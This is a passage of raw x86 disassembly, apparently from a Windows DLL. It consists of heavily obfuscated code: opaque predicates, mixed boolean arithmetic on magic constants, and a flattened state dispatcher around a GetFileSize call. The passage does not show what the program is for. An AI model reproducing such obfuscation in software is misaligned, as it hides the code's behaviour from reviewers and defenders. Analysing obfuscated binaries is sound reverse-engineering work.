not edi
mov edx, edi
and edx, 0x6d8436ec
mov ebp, esi
and ebp, 0x927bc913
or ebp, edx
mov dword [esp + 4], ebp
mov edx, ecx
xor edx, 0xd536d21a
mov dword [esp], edx
xor ecx, 0x2ac92de5
mov edx, ecx
or edx, 0x12234001
and edx, 0x37a740e1
mov ebp, dword [esp]
and ebp, 0x4800360c
or ebp, edx
or ebx, 0x258400e0
and ebx, 0x37a740e1
and eax, 0x80588912
or eax, ebx
xor eax, dword [esp + 4]
xor eax, ebp
mov edx, ecx
and edx, 0x2f42d205
mov ebx, dword [esp]
and ebx, 0xd0bd2dfa
or ebx, edx
or ecx, esi
and esi, 0x2f42d205
and edi, 0xd0bd2dfa
or edi, esi
xor edi, ebx
not ecx
or ecx, edi
not ecx
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x66f3f1b0
and eax, ecx
or ecx, 0x990c0e4f
not edx
mov esi, eax
not esi
mov edi, ecx
and edi, 0x3443c761
and edx, 0x42b03090
or edx, edi
or ecx, esi
and esi, 0x3443c761
and eax, 0xcbbc389e
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0xc88ab250
xor ecx, 0x37754daf
mov edx, ecx
and edx, 0x3d694fdf
mov esi, eax
and esi, 0xc296b020
or esi, edx
mov edx, esi
xor edx, 0x908048a
xor esi, 0x8004a020
and esi, 0xb465eb75
and edx, 0x4b9a148a
or edx, esi
xor edx, 0x4b9a148a
and ecx, 0x1382603a
and eax, 0xec7d9fc5
or eax, ecx
xor eax, 0xec7d9fc5
or eax, edx
xor eax, 0xef929cc9
xor eax, 0x106d6336
sete cl
mov byte [esp], cl
setne ah
mov byte [esp + 4], ah
cmp dword [0x1004f90c], 0xa
setge ch
setl dl
mov al, ah
xor al, cl
xor al, 1
and al, ah
mov ebx, ecx
and bl, al
xor al, 1
mov dh, al
xor dh, cl
and al, ah
or bl, cl
or bl, al
mov bh, bl
xor bh, 1
mov al, bh
and al, bl
xor bh, al
xor al, 1
or al, bl
xor al, 1
or al, bh
mov bl, dh
xor bl, al
or al, dh
xor al, 1
or al, bl
xor bl, 1
mov dh, bl
xor dh, al
or al, bl
xor al, 1
or al, dh
mov bh, al
xor bh, 1
mov bl, al
and bl, bh
xor bl, 1
mov cl, al
xor cl, bl
mov dh, al
or dh, bl
xor dh, 1
or dh, cl
mov cl, dh
xor cl, 1
mov byte [esp + 8], ch
mov ah, ch
and ah, cl
and dh, dl
or dh, ah
or cl, dl
xor cl, 1
or dh, cl
or bl, bh
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
mov bh, dl
xor bh, al
and bh, dl
and bl, ch
and al, dl
or al, bl
mov cl, bh
xor cl, 1
xor bh, al
xor al, 1
or al, cl
xor al, 1
or al, bh
mov cl, dh
xor cl, al
or al, dh
xor al, 1
or al, cl
mov ch, byte [esp + 4]
mov dh, ch
or dh, dl
mov bl, dh
xor bl, 1
xor ch, dl
mov bh, byte [esp]
or dl, bh
mov cl, ch
xor cl, dl
or dl, ch
or ch, bl
and bl, ch
xor ch, 1
mov ah, ch
xor ah, dh
and ah, ch
and ch, dh
or ch, bl
or ch, ah
mov ah, byte [esp + 8]
xor ah, bh
xor ah, 1
xor dl, 1
or dl, cl
xor dl, ah
and ah, dl
xor ah, 1
mov cl, ah
xor cl, dl
or ah, dl
xor ah, 1
or ah, cl
mov dl, ah
xor dl, 1
and dl, ah
xor dl, 1
mov cl, ah
xor cl, dl
or dl, ah
xor dl, 1
or dl, cl
mov dh, ch
xor dh, 1
mov bl, dh
mov ah, ch
or ah, dl
and dh, dl
mov cl, dl
xor cl, 1
xor bl, cl
xor ah, 1
or ah, bl
mov dl, ah
xor dl, 1
and cl, ch
or cl, dh
mov ch, cl
xor ch, 1
or cl, dl
xor dl, ch
xor ch, ah
xor cl, 1
or cl, ch
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ch, cl
xor ch, 1
mov dl, ch
and dl, cl
mov ah, dl
xor ah, cl
and ah, dl
mov dl, ah
xor dl, 1
mov dh, ch
and dl, ch
xor ch, ah
or dh, ah
and ch, dh
and ah, cl
or dl, ah
xor dl, 1
mov cl, dl
xor cl, dh
or dl, dh
xor dl, 1
or dl, cl
xor ch, 1
mov cl, ch
xor cl, dl
or ch, dl
xor ch, 1
or ch, cl
mov cl, ch
xor cl, 1
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
or al, dl
xor al, 1
or al, ah
mov dh, ah
xor dh, dl
or dl, ah
xor dl, 1
or dl, dh
mov bl, ch
and bl, cl
xor bl, 1
or bl, cl
mov ah, bl
xor ah, 1
mov dh, ah
and dh, bl
xor dh, 1
or dh, ah
xor dh, 1
or dh, bl
mov bh, cl
or bh, dh
xor dh, cl
and dh, bh
xor bl, ch
or ah, ch
mov ch, ah
xor ch, bl
or bl, ah
xor bl, 1
or bl, ch
mov bh, bl
xor bh, 1
and bh, bl
xor bh, 1
mov ch, bl
xor ch, bh
or bh, bl
xor bh, 1
or bh, ch
mov bl, bh
xor bl, 1
mov ch, dh
xor ch, 1
and bh, ch
and dh, bl
or dh, bh
or ch, bl
xor dl, 1
xor ch, 1
or ch, dh
mov dh, dl
xor dh, ch
xor dh, 1
and dh, dl
or ch, dl
xor ch, 1
mov dl, dh
xor dl, ch
or ch, dh
xor ch, 1
or ch, dl
xor ch, 1
or ch, dl
mov dl, ah
xor dl, 1
and dl, ah
xor dl, 1
mov dh, ah
xor dh, dl
or dl, ah
xor dl, 1
or dl, dh
xor al, 1
xor dl, al
xor cl, al
and al, cl
xor cl, 1
or cl, al
mov eax, edx
or al, cl
xor al, 1
xor cl, dl
or cl, al
mov dl, ch
xor dl, cl
xor cl, 1
xor dl, 1
mov al, ch
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
xor cl, ch
mov ah, al
and ah, cl
xor cl, 1
and dl, cl
or dl, ah
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov edi, 0xda8b46ee
mov ecx, 0x3dbbcebd
cmovne edi, ecx
test dl, 1
cmove edi, ecx
test al, 1
mov eax, 0xda8b46ee
cmove edi, eax
jmp 0x10011930
cmp edi, 0xfe1ba854
je 0x1002cdcf
cmp edi, 0xfea6904f
jne 0x10011930
mov edi, 0xead2154b
jmp 0x10011930
cmp edi, 0x78a5598d
jne 0x1002cdd9
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
mov esi, ecx
mov dword [esp], ecx
and eax, 0x4c4e7c70
mov ecx, edx
mov edi, edx
mov dword [esp + 4], edx
and ecx, 0xb3b1838f
or ecx, eax
mov edx, ecx
xor edx, 0xb3b1830a
xor ecx, 0x404a2070
and ecx, 0x404a20f5
and edx, 0xbfb5df0a
or edx, ecx
mov ecx, edx
xor ecx, 0xbfb5df0a
and esi, 0x6306e7ca
mov eax, edi
and eax, 0x9cf91835
or eax, esi
xor eax, 0x9cf91835
or eax, edi
mov esi, eax
not esi
mov edi, eax
and edi, 0x28f0daf7
xor eax, 0x88fc7864
and eax, esi
mov ebx, esi
and ebx, 0xd70f2508
or ebx, edi
mov esi, edx
xor esi, 0x404a20f5
or ecx, esi
xor edx, 0xc8b65891
and edx, ecx
mov ecx, ebx
xor ecx, 0xd70f2508
xor ebx, 0x5ff35d6c
and ebx, ecx
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0x9ff05020
and ebx, 0x600fafdf
or ebx, ebp
mov ebp, eax
not ebp
or edi, ebp
and ebp, 0x9ff05020
and eax, 0x600fafdf
or eax, ebp
xor eax, ebx
not edi
or edi, eax
mov eax, edi
xor eax, edi
not eax
and eax, edx
xor eax, edi
or ecx, esi
mov esi, ecx
not esi
mov edx, eax
not edx
mov edi, edx
and edi, 0x6fd7ed56
and eax, 0x902812a9
or eax, edi
or edx, ecx
and ecx, 0x6fd7ed56
and esi, 0x902812a9
or esi, ecx
xor esi, eax
not edx
or edx, esi
mov ecx, edx
xor ecx, 0xf956d704
and ecx, edx
mov eax, edx
not eax
and eax, 0xf956d704
or eax, ecx
mov edx, eax
xor edx, 0xf956d704
xor eax, 0x6a928fa
mov ecx, eax
and ecx, 1
and edx, 0xfffffffe
or edx, ecx
not edx
or edx, eax
mov eax, dword [esp + 4]
mov ecx, eax
and ecx, 0xfffffffe
mov esi, dword [esp]
and esi, 0x454e113d
and eax, 0xbab1eec2
or eax, esi
xor eax, 0xbab1eec3
or eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x7f621c38
and ecx, eax
and eax, 0x809de3c7
or eax, esi
mov esi, eax
xor esi, 0x800de0c1
xor eax, 0x7f621c38
mov edi, eax
and edi, 0x40d21b16
and esi, 0xbf2de4e9
or esi, edi
mov edi, ecx
not edi
or eax, edi
and edi, 0x40d21b16
and ecx, 0xbf2de4e9
or ecx, edi
mov edi, edx
not edi
xor ecx, esi
not eax
or eax, ecx
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x188ee58b
and eax, 0xe7711a74
or eax, ecx
xor eax, 0x188ee58b
xor esi, eax
and esi, eax
mov dword [esp + 8], edi
mov ebx, edx
and ebx, 0x59a1a4ce
mov ecx, edi
and edi, 0xa65e5b31
or edi, ebx
mov ebx, esi
not ebx
or ecx, esi
xor edi, 0x59a1a4ce
or edi, ebx
mov ebp, ebx
and ebx, 0xc38b66dc
mov eax, esi
and esi, 0x3c749923
or esi, ebx
mov ebx, dword [esp + 8]
and ebx, 0x34583bed
xor esi, 0xc38b66dc
or esi, edx
and edx, 0xcba7c412
or edx, ebx
and eax, 0x34583bed
and ebp, 0xcba7c412
or ebp, eax
xor ebp, edx
not ecx
or ecx, ebp
mov eax, esi
xor eax, edi
or esi, edi
not esi
or esi, eax
mov eax, esi
not eax
mov edx, ecx
mov edi, esi
xor edi, 0xbbf49dfc
and edi, eax
or eax, ecx
not ecx
and edx, 0xbbf49dfc
and ecx, 0x440b6203
or ecx, edx
and esi, 0x440b6203
or esi, edi
xor esi, ecx
not eax
or eax, esi
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x2000
mov edx, eax
and edx, 0x1242
or edx, ecx
xor edx, 0x1242
mov esi, edi
and esi, 0xb290081d
or esi, edx
mov ecx, esi
xor ecx, 0xa2903817
or ecx, 0x406505a0
and esi, 0x1010225a
and ecx, 0xe2e51da5
or ecx, esi
mov edx, ecx
xor edx, 0xe2e51da5
mov ebx, edx
mov edx, edi
and edx, 0xb2903a5f
and eax, 0x4d6fc5a0
or eax, edx
xor edi, eax
and edi, eax
xor ecx, 0x1400021a
and ecx, 0x74650a9e
mov esi, ebx
and esi, 0x82903041
or esi, ecx
mov eax, edi
not eax
mov edx, eax
and edx, 0x1e94a145
mov ecx, edi
and ecx, 0xe16b5eba
or ecx, edx
mov ebp, esi
xor ebp, 0x8b9af561
mov dword [esp + 0xc], ebp
mov edx, esi
xor edx, 0x22e53990
and edx, ebp
and ebx, 0xa0100851
or ebx, edx
mov dword [esp + 0x10], ebx
mov edx, ecx
xor edx, 0xe16b5eba
mov ebp, ecx
xor ebp, 0x411c924b
and ebp, edx
mov ebx, ebp
not ebx
mov dword [esp + 8], ebx
and dword [esp + 8], 0x2c26174e
and ebp, 0xd3d9e8b1
add ebp, dword [esp + 8]
or eax, 0x5f88330e
or ebx, eax
and eax, 0x2c26174e
and edi, 0x8051c8b1
or edi, eax
xor edi, ebp
not ebx
or ebx, edi
xor ebx, dword [esp + 0x10]
xor esi, 0x74650a9e
mov eax, esi
and eax, 0xa2d52857
mov edi, dword [esp + 0xc]
and edi, 0x54285288
or edi, eax
xor ecx, 0x1e94a145
or esi, ecx
and ecx, 0xabd7ad77
and edx, 0x54285288
or edx, ecx
mov eax, ebx
xor eax, 0x1080000
xor edx, edi
not esi
or esi, edx
xor ebx, 0xf6f7ffff
mov ecx, ebx
and ecx, 0x1eb4be9b
and eax, 0xe14b4164
or eax, ecx
xor eax, esi
xor eax, 0xe14b4164
or ebx, esi
not ebx
or ebx, eax
mov dword [esp + 8], ebx
mov esi, ebx
xor esi, 0x4d6fc5a0
mov edx, dword [esp + 4]
mov eax, edx
and eax, 0xc1894f04
mov ecx, dword [esp]
mov ebx, ecx
and ebx, 0x3e76b0fb
or ebx, eax
mov edi, ebx
xor edi, 0x3e76b0fb
and edx, 0xb2068482
and ecx, 0x4df97b7d
or ecx, edx
mov eax, ecx
xor eax, 0x4df97b7d
xor ecx, 0x82040002
and ecx, 0x83444263
mov edx, ecx
mov ecx, eax
and ecx, 0x7cbbbd9c
or ecx, edx
mov ebp, ebx
xor ebp, 0xc1894f04
xor ecx, 0x7cbbbd9c
or ecx, eax
xor ebx, 0x3b377932
and ebx, ebp
mov eax, edi
and eax, 0xfabe3636
or eax, ebx
mov edx, edi
and edx, 0x6b8b8cbd
and ebp, 0x94747342
or ebp, edx
mov edx, ecx
not edx
xor eax, ecx
or edi, edx
and edx, 0x6b8b8cbd
and ecx, 0x94747342
or ecx, edx
mov ebx, eax
xor ebx, 0xc8b01422
xor ecx, ebp
not edi
or edi, ecx
mov ecx, edi
not ecx
xor eax, 0x541c9c9
mov edx, eax
and edx, 0x370eaa95
and ebx, 0xc8f1556a
or ebx, edx
or eax, edi
and edi, 0x370eaa95
and ecx, 0xc8f1556a
or ecx, edi
xor ecx, ebx
not eax
or eax, ecx
mov ebx, dword [esp + 8]
mov edx, ebx
xor edx, 0xb2903a5f
mov edi, eax
not edi
mov ecx, edx
or ecx, edi
and edx, 0x11420400
xor ebx, 0x9c085a90
and ebx, esi
and esi, 0xc0259b30
or esi, edx
xor esi, 0xc0259b30
or ebx, esi
mov ebp, ebx
mov edx, eax
xor edx, 0xd1679f30
and edx, edi
mov ebx, edx
not ebx
mov esi, ebx
and esi, 0x5f74a47f
and edx, 0xa08b5b80
or edx, esi
mov esi, ecx
not esi
or edi, 0xd1679f30
or ebx, edi
and edi, 0x5f74a47f
and eax, 0x20884080
or eax, edi
xor eax, edx
not ebx
or ebx, eax
mov edi, ebx
xor edi, ebx
not edi
and edi, ebp
xor edi, ebx
mov eax, ecx
and eax, 0xf473fa2e
xor ecx, 0x159b2c59
and ecx, esi
and esi, 0xb8c05d1
or esi, eax
mov dword [esp], esi
mov eax, esi
xor eax, 0xe060d226
or eax, 0x159b2c59
xor esi, 0xa000180
mov ebx, edi
xor ebx, 0xea64d3a6
mov edx, eax
and edx, 0xb4ad422c
and esi, 0x4a409182
or esi, edx
mov edx, ecx
not edx
or eax, edx
and edx, 0xb4ad422c
and ecx, 0x4b52bdd3
or ecx, edx
mov ebp, ebx
and ebx, edi
mov edx, edi
not edx
and ebp, edx
xor ecx, esi
not eax
or eax, ecx
mov ecx, ebp
not ecx
mov esi, ecx
and esi, 0x694d4021
and ebp, 0x96b2bfde
or ebp, esi
mov esi, ebx
not esi
or ecx, esi
and esi, 0x694d4021
and ebx, 0x96b2bfde
or ebx, esi
xor ebx, ebp
mov esi, dword [esp]
xor esi, 0xb8c05d1
not ecx
or ecx, ebx
mov edi, ecx
xor edi, ecx
not edi
and edi, eax
xor edi, ecx
or edx, esi
mov eax, edx
not eax
mov ecx, edi
not ecx
mov esi, ecx
and esi, 0x84f38b11
and edi, 0x7b0c74ee
or edi, esi
or ecx, edx
and edx, 0x84f38b11
and eax, 0x7b0c74ee
or eax, edx
xor eax, edi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xd4c1f4e4
mov edx, eax
and edx, 0x2b3e0b1b
or edx, esi
xor edx, 0x2b3e0b1b
or edx, eax
mov esi, ecx
or esi, edx
not esi
and ecx, 0xe2b6d4f9
and eax, 0x1d492b06
or eax, ecx
xor eax, edx
xor eax, 0x1d492b06
or eax, esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xf2e417e3
mov esi, eax
and esi, 0xd1be81c
or esi, edx
mov edx, esi
xor edx, 0x80b0000
xor esi, 0x10a01000
mov edi, ecx
or edi, 0x10a03004
or esi, 0x5104009
and esi, 0x15b0700d
and edx, 0xa84f04c2
or edx, esi
and edi, 0x15b0700d
mov esi, eax
and esi, 0x42008b30
or esi, edi
xor esi, edx
xor esi, 0x4710cb39
and ecx, 0x4916ea0f
and eax, 0xb6e915f0
or eax, ecx
xor eax, 0xb6e915f0
or eax, esi
xor eax, 0xb8894834
xor eax, 0x4776b7cb
sete dl
setne ch
cmp dword [0x1004f90c], 0xa
setge ah
setl cl
mov al, ch
inc al
mov bh, ch
and bh, al
xor bh, 1
or bh, al
mov dh, dl
or dh, bh
mov bl, dh
xor bl, 1
mov al, dl
xor al, bh
or bh, ch
xor bh, 1
and al, ch
or al, bh
mov bh, al
xor bh, 1
or al, bl
xor bl, bh
xor bh, dh
xor al, 1
or al, bh
mov dh, bl
xor dh, al
or al, bl
xor al, 1
or al, dh
mov dh, al
xor dh, 1
mov ebx, edx
inc bl
xor ch, bl
and bl, ch
xor bl, 1
mov bh, bl
xor bh, ch
or bl, ch
xor bl, 1
or bl, bh
mov bh, bl
xor bh, 1
xor bl, al
xor al, bh
and al, bh
and bl, bh
xor bh, dh
and bh, dh
or bh, bl
mov dh, al
xor dh, 1
mov ch, bh
xor ch, 1
and bh, dh
and al, ch
or al, bh
or ch, dh
xor ch, 1
or ch, al
mov dh, ch
xor dh, 1
mov ebx, ecx
xor bl, ch
and bl, cl
mov al, dh
or al, cl
xor al, 1
or al, bl
mov ebx, eax
xor bl, dh
xor bl, 1
or al, ch
xor al, 1
or al, bl
mov bl, ah
or bl, ch
and ch, dh
xor ch, 1
mov bh, ch
xor bh, dh
or ch, dh
xor ch, 1
or ch, bh
mov bh, ch
and bh, cl
xor ch, 1
and ch, ah
or ch, bh
xor dh, cl
xor bl, 1
or bl, dh
xor ch, 1
mov dh, ch
xor dh, bl
or ch, bl
xor ch, 1
or ch, dh
mov dh, al
xor dh, ch
or ch, al
mov bl, ch
xor bl, 1
and ch, dh
mov al, dh
xor al, 1
mov dh, bl
xor dh, al
and dh, bl
and al, bl
or al, ch
mov ch, dh
xor ch, 1
xor dh, al
xor al, 1
or al, ch
xor al, 1
or al, dh
mov ch, dl
or ch, cl
mov dh, ch
xor dh, 1
xor cl, dl
or dl, ah
and cl, ah
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov dl, cl
xor dl, 1
and dl, cl
xor dl, 1
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
xor cl, dh
mov ah, cl
xor ah, 1
xor dh, dl
and dh, ch
xor dl, ch
or dl, dh
mov ch, dl
xor ch, 1
and ch, ah
or ah, dl
xor ah, 1
and dl, cl
or dl, ch
or dl, ah
mov ch, dl
xor ch, 1
mov cl, dl
and cl, ch
xor cl, 1
mov ah, ch
xor ah, cl
or ch, cl
xor ch, 1
or ch, ah
mov dh, ch
xor dh, 1
mov ah, ch
and ah, dh
xor ah, 1
or ah, dh
xor ah, 1
or ah, ch
xor ah, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ch, ah
xor ch, cl
or dl, ah
mov dh, dl
xor dh, ch
or dl, ch
xor ch, 1
and ch, cl
or cl, ah
xor ch, 1
mov ah, ch
xor ah, cl
or ch, cl
xor ch, 1
or ch, ah
xor dl, 1
or dl, dh
mov cl, ch
xor cl, 1
and ch, cl
xor ch, 1
mov ah, ch
xor ah, cl
or ch, cl
xor ch, 1
or ch, ah
xor ch, dl
xor ch, 1
or cl, dl
xor cl, 1
or cl, ch
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov ecx, edx
and cl, ah
xor cl, 1
mov ch, cl
xor ch, dl
or ah, cl
or cl, dl
xor cl, 1
or cl, ch
xor cl, 1
xor ah, 1
or ah, dl
xor ah, 1
mov ch, ah
xor ch, dl
or ah, dl
xor ah, 1
or ah, ch
xor ah, cl
and cl, ah
xor cl, 1
mov edx, ecx
xor dl, ah
or cl, ah
xor cl, 1
or cl, dl
mov ch, al
xor ch, 1
mov edx, eax
and dl, ch
xor dl, 1
mov ah, al
xor ah, dl
mov ebx, eax
or bl, dl
xor bl, 1
or bl, ah
mov ah, bl
xor ah, 1
mov dh, ah
and dh, bl
xor dh, 1
mov bh, bl
xor bh, dh
or dh, bl
xor dh, 1
or dh, bh
or dl, ch
xor dl, 1
or dl, al
mov al, dl
and dl, cl
xor cl, 1
xor dh, cl
or ah, cl
xor ah, 1
or ah, dh
inc al
and al, cl
or dl, al
mov al, dl
xor al, 1
mov ch, ah
xor ch, al
or al, ah
mov cl, al
xor cl, 1
and ch, dl
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
xor ah, 1
and dl, al
or al, ah
and ah, cl
or ah, dl
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0xf36ad19
mov edx, 0xee4d767d
cmovne ecx, edx
test ah, 1
mov edi, ecx
mov edx, 0xf36ad19
cmovne edi, edx
test al, 1
cmovne edi, ecx
jmp 0x10011930
push 0
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0x30], eax
cmp eax, 0xffffffff
sete byte [esp + 0x34]
mov eax, dword [0x1004f908]
lea edx, [eax + 1]
imul edx, eax
mov esi, edx
not esi
mov ecx, esi
or ecx, 0xcb24480
mov eax, edx
mov ebx, edx
or eax, 0x9108b058
and eax, 0x9dbaf4d8
mov edx, esi
and edx, 0x62040826
or edx, eax
and ecx, 0x9dbaf4d8
mov eax, ebx
and eax, 0x410301
or eax, ecx
xor eax, edx
mov ecx, eax
xor ecx, 0x148b159
xor eax, 0x6eb64ca6
and ecx, 0x6578fdfb
mov edx, eax
and edx, 0x9a870204
or edx, ecx
xor edx, 0xbf66ef6d
and eax, 0xda1e1296
or eax, edx
mov edi, eax
not edi
mov edx, esi
and edx, 0x25e1ed69
mov ecx, ebx
and ecx, 0xda1e1296
or ecx, edx
not ecx
or ecx, esi
mov dword [esp], esi
mov edx, edi
xor edx, ecx
and edx, edi
and eax, 0x87a3a236
and edi, 0x785c5dc9
or edi, eax
xor edi, ecx
xor edi, 0x785c5dc9
or edi, edx
mov eax, edi
xor eax, 0x100a1092
xor edi, 0x24a16128
and eax, 0x114a9cd3
and edi, 0xeeb5632c
or edi, eax
mov eax, edi
xor eax, 0x114a9cd3
mov ecx, edi
xor ecx, 0x8a52320
and ecx, 0x9a52371
xor edi, 0x3b049
and edi, eax
and eax, 0xf65adc8e
or eax, ecx
mov ecx, eax
xor ecx, 0x124a940c
xor eax, 0x18480449
and eax, ecx
or edi, eax
and edi, 0x1a4bb44d
mov eax, esi
and eax, 0x572fce26
mov dword [esp + 4], ebx
mov ecx, ebx
xor ecx, 0x572fce26
and ecx, ebx
or ecx, eax
mov eax, ecx
xor eax, 0xa8d031d9
mov edx, ecx
xor edx, 0x325ce22
and edx, 0x335cebb
xor ecx, 0xabe5ff62
and ecx, eax
or ecx, edx
xor ecx, 0x197e7af6
and eax, 0x1a4bb44d
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xe143d71c
and ecx, eax
and eax, 0x1ebc28e3
or eax, edx
mov ebp, edi
xor ebp, 0xa029045
xor eax, 0x1ebc28e3
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x66cd7c43
and ecx, 0x993283bc
or ecx, eax
mov eax, ecx
xor eax, 0x2c55001
xor ecx, 0x18300200
and ecx, 0x7c382e42
and eax, 0x83c7d1bd
or eax, ecx
xor edi, 0xf5fd6fba
mov ecx, edi
and ecx, 0x67288a19
mov edx, ebp
and edx, 0x8013444
or edx, ecx
xor edx, 0x8013444
and ebp, 0x10420000
or ebp, edx
mov edx, eax
xor edx, 0x83c7d1bd
mov esi, edx
or esi, 0x3f09478a
mov ecx, eax
xor ecx, 0x200800
mov ebx, esi
and ebx, 0xe29b3546
and ecx, 0x648831
or ecx, ebx
mov dword [esp + 0x20], eax
xor eax, 0x433169c8
and eax, edx
mov ebx, eax
not ebx
or esi, ebx
and ebx, 0xe29b3546
and eax, 0x1d64cab9
or eax, ebx
xor eax, ecx
not esi
or esi, eax
mov ebx, ebp
mov ecx, ebp
xor ecx, 0x90d641a2
mov dword [esp + 8], ecx
xor ebx, 0x6f29be5d
mov dword [esp + 0xc], ebx
mov eax, ebx
and eax, 0x4b42ba58
and ecx, 0x34394505
or ecx, eax
mov ebp, ecx
xor ebp, ebx
and ebp, ecx
mov ecx, esi
xor ecx, 0x3f09478a
mov dword [esp + 0x10], ecx
xor esi, 0xc0f6b875
mov dword [esp + 0x14], esi
and esi, 0x8fe75c40
and ecx, 0x7018a3bf
or ecx, esi
mov dword [esp + 0x18], ecx
mov eax, dword [esp + 0x20]
xor eax, 0x2000
and eax, 0x280b038
and edx, 0xc9460ac2
or edx, eax
mov eax, edx
xor eax, 0xc1420800
or eax, 0x14090401
xor edx, 0x2808038
and edx, 0xa8482fa
and eax, 0xd54b3c01
or eax, edx
mov dword [esp + 0x20], eax
mov ecx, ebp
not ecx
mov dword [esp + 0x24], ecx
mov eax, ebp
or eax, 0x932606
and eax, 0xeedb27c7
mov edx, ecx
and edx, 0x11248000
or edx, eax
mov dword [esp + 0x38], edx
mov eax, ecx
or eax, 0xee4801c1
and eax, 0xeedb27c7
mov ecx, ebp
and ecx, 0x5838
or ecx, eax
mov dword [esp + 0x3c], ecx
or edi, 0x34394505
mov edx, edi
xor edx, 0x937e3e
mov ecx, edx
and ecx, edi
mov esi, ecx
not esi
mov eax, esi
and eax, 0x8127cbc
and ecx, 0xe76c8342
or ecx, eax
mov ebx, edi
not ebx
and edx, ebx
mov eax, edx
not eax
or esi, eax
and eax, 0x18127cbd
and edx, 0x82448242
or edx, eax
xor edx, ecx
not esi
or esi, edx
xor esi, dword [esp + 0x38]
xor esi, dword [esp + 0x3c]
mov eax, ebp
and eax, 0x4d114158
mov ecx, dword [esp + 0x24]
and ecx, 0xb2eebea7
or ecx, eax
or ebp, ebx
and ebx, 0x8000048
and edi, 0xb2eebea7
or edi, ebx
xor edi, ecx
not ebp
or ebp, edi
mov edi, esi
not edi
mov eax, edi
and eax, 0x869817b9
and esi, 0x7967e846
or esi, eax
mov eax, ebp
not eax
or edi, ebp
and ebp, 0x869817b9
and eax, 0x7967e846
or eax, ebp
xor eax, esi
not edi
or edi, eax
mov ecx, dword [esp + 0x18]
xor ecx, 0xbbde1945
mov ebx, dword [esp + 0x14]
or ecx, ebx
mov eax, ecx
not eax
mov ebp, dword [esp + 0x20]
mov edx, ebp
xor ebp, 0x2ab4c3fe
mov esi, eax
xor esi, ebp
and esi, eax
and ecx, 0x90a5a52c
and eax, 0x6f5a5ad3
or eax, ecx
xor edx, 0x41421800
and ebp, 0x90a5a52c
and edx, 0x4b421ad2
or edx, ebp
xor edx, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x563eb03b
and esi, 0xa9c14fc4
or esi, ecx
mov ecx, edx
not ecx
or eax, ecx
and ecx, 0x563eb03b
and edx, 0xa9c14fc4
or edx, ecx
xor edx, esi
not eax
or eax, edx
not eax
mov ecx, edi
xor ecx, eax
or eax, edi
not ecx
and ecx, edi
mov esi, ecx
not esi
mov edx, esi
and edx, 0x3741273d
and ecx, 0xc8bed8c2
or ecx, edx
xor ecx, eax
or esi, eax
xor ecx, 0xc8bed8c2
not esi
or esi, ecx
mov edi, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
and eax, edi
mov edx, ebx
or edi, ebx
and edx, dword [esp + 8]
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x46db0196
and edx, 0xb924fe69
or edx, ecx
xor edx, edi
xor edx, 0xb924fe69
or eax, edi
not eax
or eax, edx
mov edx, eax
mov ecx, eax
xor ecx, 0xd924b5d
and ecx, eax
or eax, 0xf26db4a2
not edx
mov edi, eax
and edi, 0x4f2f1a6f
and edx, 0x904110
or edx, edi
mov edi, ecx
not edi
or eax, edi
and edi, 0x4f2f1a6f
and ecx, 0xb0d0e590
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x62043020
xor eax, 0xd924b5d
mov edx, eax
and edx, 0x94fbc597
and ecx, 0x6b043a68
or ecx, edx
xor ecx, 0x6b043a68
or ecx, eax
mov edx, esi
not edx
mov eax, edx
or eax, ecx
and edx, 0xd3b45d69
and esi, 0x2c4ba296
or esi, edx
xor esi, ecx
mov ecx, esi
xor ecx, 0x2c4ba296
xor esi, 0xd3b45d69
mov edx, esi
and edx, 0x515759f0
and ecx, 0xaea8a60f
or ecx, edx
xor ecx, eax
xor ecx, 0xaea8a60f
or esi, eax
not esi
or esi, ecx
mov eax, esi
not eax
mov ecx, esi
and ecx, 0x27dc4eb7
mov edx, eax
and edx, 0xd823b148
or edx, ecx
mov edi, eax
and edi, esi
mov ebx, edi
not ebx
mov ecx, esi
or ecx, ebx
and ebx, 0x27dc4eb7
and edi, 0xd823b148
or edi, ebx
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
xor edx, 0xe29362d0
and edx, ecx
or eax, 0xc2c812d
and esi, 0x820120c0
and eax, 0x6cbec33d
or eax, esi
mov ecx, eax
xor ecx, 0x20924200
xor eax, 0x93413cc2
mov esi, edx
xor esi, eax
and esi, edx
and eax, 0x4540a997
and ecx, 0xa2934240
or ecx, eax
xor ecx, edx
xor ecx, 0x4540a997
or ecx, esi
mov eax, ecx
xor eax, 0xf8d8d69c
mov edx, ecx
xor edx, 0x3010840
xor ecx, 0x3bd1cccf
and ecx, eax
or eax, 0x3cf6e5ac
mov esi, eax
and esi, 0x8c142193
and edx, 0x43091a40
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0x8c142193
